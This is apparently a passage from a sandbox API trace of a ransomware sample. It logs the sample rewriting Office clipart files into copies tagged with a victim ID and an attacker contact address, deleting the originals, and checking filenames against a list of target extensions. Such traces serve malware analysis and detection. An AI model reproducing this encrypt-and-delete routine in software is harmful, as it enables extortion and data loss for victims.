	[0261.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0261.847] GetLastError () returned 0x0
	[0261.847] ReadFile (in: hFile=0x338, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1b1a, lpOverlapped=0x0) returned 1
	[0261.905] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1b20, lpOverlapped=0x0) returned 1
	[0261.906] ReadFile (in: hFile=0x338, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.906] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.906] SetEndOfFile (hFile=0x35c) returned 1
	[0261.906] CloseHandle (hObject=0x35c) returned 1
	[0261.906] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.906] SetEndOfFile (hFile=0x338) returned 1
	[0261.909] CloseHandle (hObject=0x338) returned 1
	[0261.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 1
	[0261.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63
	[0261.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63
	[0261.909] lstrlenW (lpString=".doc") returned 4
	[0261.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.909] lstrlenW (lpString=".docx") returned 5
	[0261.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.909] lstrlenW (lpString=".pdf") returned 4
	[0261.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.909] lstrlenW (lpString=".xls") returned 4
	[0261.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.909] lstrlenW (lpString=".xlsx") returned 5
	[0261.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.909] lstrlenW (lpString=".ppt") returned 4
	[0261.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63
	[0261.909] lstrlenW (lpString=".zip") returned 4
	[0261.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.910] lstrlenW (lpString=".rar") returned 4
	[0261.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.910] lstrlenW (lpString=".bz2") returned 4
	[0261.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.910] lstrlenW (lpString=".7z") returned 3
	[0261.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63
	[0261.910] lstrlenW (lpString=".dbf") returned 4
	[0261.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63
	[0261.910] lstrlenW (lpString=".1cd") returned 4
	[0261.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63
	[0261.910] lstrlenW (lpString=".jpg") returned 4
	[0261.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.924] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.924] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0261.924] GetLastError () returned 0x0
	[0261.924] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x45ba, lpOverlapped=0x0) returned 1
	[0261.926] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x45c0, lpOverlapped=0x0) returned 1
	[0261.928] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.928] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.928] SetEndOfFile (hFile=0x220) returned 1
	[0261.928] CloseHandle (hObject=0x220) returned 1
	[0261.928] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.928] SetEndOfFile (hFile=0x320) returned 1
	[0261.930] CloseHandle (hObject=0x320) returned 1
	[0261.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 1
	[0261.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63
	[0261.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63
	[0261.930] lstrlenW (lpString=".doc") returned 4
	[0261.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.931] lstrlenW (lpString=".docx") returned 5
	[0261.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.931] lstrlenW (lpString=".pdf") returned 4
	[0261.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.931] lstrlenW (lpString=".xls") returned 4
	[0261.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.931] lstrlenW (lpString=".xlsx") returned 5
	[0261.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.931] lstrlenW (lpString=".ppt") returned 4
	[0261.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63
	[0261.931] lstrlenW (lpString=".zip") returned 4
	[0261.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.931] lstrlenW (lpString=".rar") returned 4
	[0261.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.931] lstrlenW (lpString=".bz2") returned 4
	[0261.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.931] lstrlenW (lpString=".7z") returned 3
	[0261.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63
	[0261.931] lstrlenW (lpString=".dbf") returned 4
	[0261.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63
	[0261.931] lstrlenW (lpString=".1cd") returned 4
	[0261.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63
	[0261.931] lstrlenW (lpString=".jpg") returned 4
	[0261.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.932] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=11994) returned 1
	[0261.932] CloseHandle (hObject=0x320) returned 1
	[0261.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x20
	[0261.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0261.932] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.932] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0261.933] GetLastError () returned 0x0
	[0261.933] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2eda, lpOverlapped=0x0) returned 1
	[0261.934] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2ee0, lpOverlapped=0x0) returned 1
	[0261.935] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.935] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.935] SetEndOfFile (hFile=0x220) returned 1
	[0261.935] CloseHandle (hObject=0x220) returned 1
	[0261.935] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.935] SetEndOfFile (hFile=0x320) returned 1
	[0261.938] CloseHandle (hObject=0x320) returned 1
	[0261.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 1
	[0261.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63
	[0261.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63
	[0261.941] lstrlenW (lpString=".doc") returned 4
	[0261.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.941] lstrlenW (lpString=".docx") returned 5
	[0261.941] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.941] lstrlenW (lpString=".pdf") returned 4
	[0261.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.941] lstrlenW (lpString=".xls") returned 4
	[0261.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.941] lstrlenW (lpString=".xlsx") returned 5
	[0261.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.941] lstrlenW (lpString=".ppt") returned 4
	[0261.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63
	[0261.941] lstrlenW (lpString=".zip") returned 4
	[0261.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.941] lstrlenW (lpString=".rar") returned 4
	[0261.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.941] lstrlenW (lpString=".bz2") returned 4
	[0261.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.942] lstrlenW (lpString=".7z") returned 3
	[0261.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63
	[0261.942] lstrlenW (lpString=".dbf") returned 4
	[0261.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63
	[0261.942] lstrlenW (lpString=".1cd") returned 4
	[0261.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63
	[0261.942] lstrlenW (lpString=".jpg") returned 4
	[0261.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.943] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=30240) returned 1
	[0261.943] CloseHandle (hObject=0x320) returned 1
	[0261.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x20
	[0261.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0261.943] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.943] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0261.944] GetLastError () returned 0x0
	[0261.944] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x7620, lpOverlapped=0x0) returned 1
	[0261.946] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x7630, lpOverlapped=0x0) returned 1
	[0261.947] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.947] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.947] SetEndOfFile (hFile=0x220) returned 1
	[0261.947] CloseHandle (hObject=0x220) returned 1
	[0261.947] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.947] SetEndOfFile (hFile=0x320) returned 1
	[0261.951] CloseHandle (hObject=0x320) returned 1
	[0261.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 1
	[0261.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63
	[0261.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63
	[0261.952] lstrlenW (lpString=".doc") returned 4
	[0261.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.952] lstrlenW (lpString=".docx") returned 5
	[0261.952] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.952] lstrlenW (lpString=".pdf") returned 4
	[0261.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.952] lstrlenW (lpString=".xls") returned 4
	[0261.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.952] lstrlenW (lpString=".xlsx") returned 5
	[0261.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.952] lstrlenW (lpString=".ppt") returned 4
	[0261.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63
	[0261.952] lstrlenW (lpString=".zip") returned 4
	[0261.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.952] lstrlenW (lpString=".rar") returned 4
	[0261.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.952] lstrlenW (lpString=".bz2") returned 4
	[0261.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.953] lstrlenW (lpString=".7z") returned 3
	[0261.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63
	[0261.953] lstrlenW (lpString=".dbf") returned 4
	[0261.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63
	[0261.953] lstrlenW (lpString=".1cd") returned 4
	[0261.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63
	[0261.953] lstrlenW (lpString=".jpg") returned 4
	[0261.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.953] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=29212) returned 1
	[0261.953] CloseHandle (hObject=0x320) returned 1
	[0261.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x20
	[0261.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0261.954] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.954] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0261.954] GetLastError () returned 0x0
	[0261.954] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x721c, lpOverlapped=0x0) returned 1
	[0262.038] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x7220, lpOverlapped=0x0) returned 1
	[0262.039] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.039] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.039] SetEndOfFile (hFile=0x220) returned 1
	[0262.347] CloseHandle (hObject=0x220) returned 1
	[0262.347] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.347] SetEndOfFile (hFile=0x320) returned 1
	[0262.699] CloseHandle (hObject=0x320) returned 1
	[0262.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 1
	[0262.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63
	[0262.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63
	[0262.700] lstrlenW (lpString=".doc") returned 4
	[0262.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.700] lstrlenW (lpString=".docx") returned 5
	[0262.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.701] lstrlenW (lpString=".pdf") returned 4
	[0262.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.701] lstrlenW (lpString=".xls") returned 4
	[0262.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.701] lstrlenW (lpString=".xlsx") returned 5
	[0262.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.701] lstrlenW (lpString=".ppt") returned 4
	[0262.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63
	[0262.701] lstrlenW (lpString=".zip") returned 4
	[0262.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.701] lstrlenW (lpString=".rar") returned 4
